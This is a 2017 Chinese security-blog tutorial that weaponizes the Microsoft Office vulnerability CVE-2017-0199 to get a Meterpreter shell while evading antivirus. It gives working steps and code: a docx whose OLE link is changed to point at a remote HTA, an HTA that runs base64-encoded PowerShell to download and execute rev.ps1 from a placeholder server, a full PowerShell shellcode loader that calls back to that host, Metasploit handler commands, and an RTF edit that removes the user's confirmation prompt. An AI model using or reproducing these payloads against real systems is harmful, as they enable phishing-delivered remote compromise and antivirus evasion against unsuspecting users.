2017-05-23 10:55:54
阅读:1002次
点赞(0)
收藏
来源: 安全客
作者:七三
作者:七三
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
0x01 介绍
CVE-2017-0199是2017年4月11日发布的一个Microsoft Office RTF漏洞,当用户打开包含嵌入式漏洞的文档时,允许使用者下载并执行恶意的Visual Basic脚本。office使用用户非常多,因此该漏洞可用作许多社工攻击了。当我们需要弹回一个meterpreter时总要考虑免杀的问题,一般的exe完全没有在安装杀软的机器上得到执行的机会。
考虑到powershell的无文件特性,这里使用powershell倒是可以一试。
为什么免杀:
1.这里不需要执行msfvenom生成的恶意程序,因为基本上所有的杀软都会杀掉的
2.使用powershell加载脚本执行,弹meterpreter的功能用ps1脚本实现
0x02 技术细节
在可访问服务器(你的vps or 肉鸡)建立一个RTF空文件(目的在于避免下面插入对象时不存在而出错)。
shell echo''>rtf.rtf新建一个word文档--插入--对象(在右边栏下)--由文件创建--加上`http://xxxxxx/rtf.rtf`
记得勾选`链接到文件`,另保存为docx文件,
然后修改内部加载。可以将docx后缀换为zip--打开
找到word\\_rels\document.xml.rels 文件编辑
找到oleObject对象。如下
xml Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"Target="http://x.x.x.x/xx.rtf"x.x.x.x 就是之前制作docx的插入服务器ip地址。修改为
xml Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"Target="http://x.x.x.x/hta.hta"然后保存覆盖
在服务器添加一个hta.hta文件,放到上面链接能访问到的位置,hta内容如下:
html <html> <head> <script>varc='C:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe-epbypass-encQwA6AFwAVwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHcAaQBuAGQAbwB3AHMAcABvAHcAZQByAHMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAGUAcAAgAGIAeQBwAGEAcwBzACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AeAAuAHgALgB4AC4AeAAvAHIAZQB2AC4AcABzADEAJwApADsAcgBlAHYADQAKAA==';newActiveXObject('WScript.Shell').Run(c,0);</script> </head> <body> <script>self.close();</script> </body> </html>这是一个远程运行powershell反弹meterpreter的运行语句
其中一段base64解码完成后的powershell语句如下,这里编码的好处是可以避免一些特殊字符带来的错误。
powershell C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe-epbypassIEX(New-ObjectNet.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev如果这里是32为系统 则可以不加前面的路径,如下
powershell.exe-epbypassIEX(New-ObjectNet.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev 现在来解释这个`http://x.x.x.x/rev.ps1`是什么?这也是一个放在可访问的服务器下的powershell脚本,内容如下
powershell functionrev{ $c=@" [DllImport("kernel32.dll")]publicstaticexternIntPtrVirtualAlloc(IntPtrw,uintx,uinty,uintz); [DllImport("kernel32.dll")]publicstaticexternIntPtrCreateThread(IntPtru,uintv,IntPtrw,IntPtrx,uinty,IntPtrz); "@ try{$s=New-ObjectSystem.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Stream,[System.Net.Sockets.ProtocolType]::Tcp) $s.Connect('x.x.x.x',2333)|out-null;$p=[Array]::CreateInstance("byte",4);$x=$s.Receive($p)|out-null;$z=0 $y=[Array]::CreateInstance("byte",[BitConverter]::ToInt32($p,0)+5);$y[0]=0xBF while($z-lt[BitConverter]::ToInt32($p,0)){$z+=$s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None)} for($i=1;$i-le4;$i++){$y[$i]=[System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]} $t=Add-Type-memberDefinition$c-Name"Win32"-namespaceWin32Functions-passthru;$x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40) [System.Runtime.InteropServices.Marshal]::Copy($y,0,[IntPtr]($x.ToInt32()),$y.Length) $t::CreateThread(0,0,$x,0,0,0)|out-null;Start-Sleep-Second86400}catch{} }注意其中的`$s.Connect('x.x.x.x', 2333)`就是你msf监听的地址和端口。修改后放在一个可访问的服务器上即可。
然后编码你这个powershell语句 放入hta文件中
`echoIEX(New-ObjectNet.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev|iconv--to-codeUTF-16LE|base64`开启msf监听,
shell msf>useexploit/multi/handler msfexploit(handler)>setpayloadwindows/meterpreter/reverse_tcp payload=>windows/meterpreter/reverse_tcp msfexploit(handler)>setLHOSTx.x.x.x LHOST=>x.x.x.x msfexploit(handler)>setLPORT2333 LPORT=>2333运行docx,有个弹框 选择是才可以弹回shell,不然弹不回,
如果要想不用选择`是`都可以弹回shell
可以将docx文件另存为rtf文件,用编辑器打开,将
`\object\objautlink\rsltpict` 替换为 `\object\objautlink\objupdate\rsltpict` 即可
然后打开rtf文件 也有弹框供你选择 但是已经弹回来了。
私以为docx文档比rtf文档更容易让别人点击。
全程开着杀软,并没有提示危险信息,这得自与powershell的强大之处。
0x03 参考
https://404.so/7508.html
https://xianzhi.aliyun.com/forum/read/1547.html
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3889.html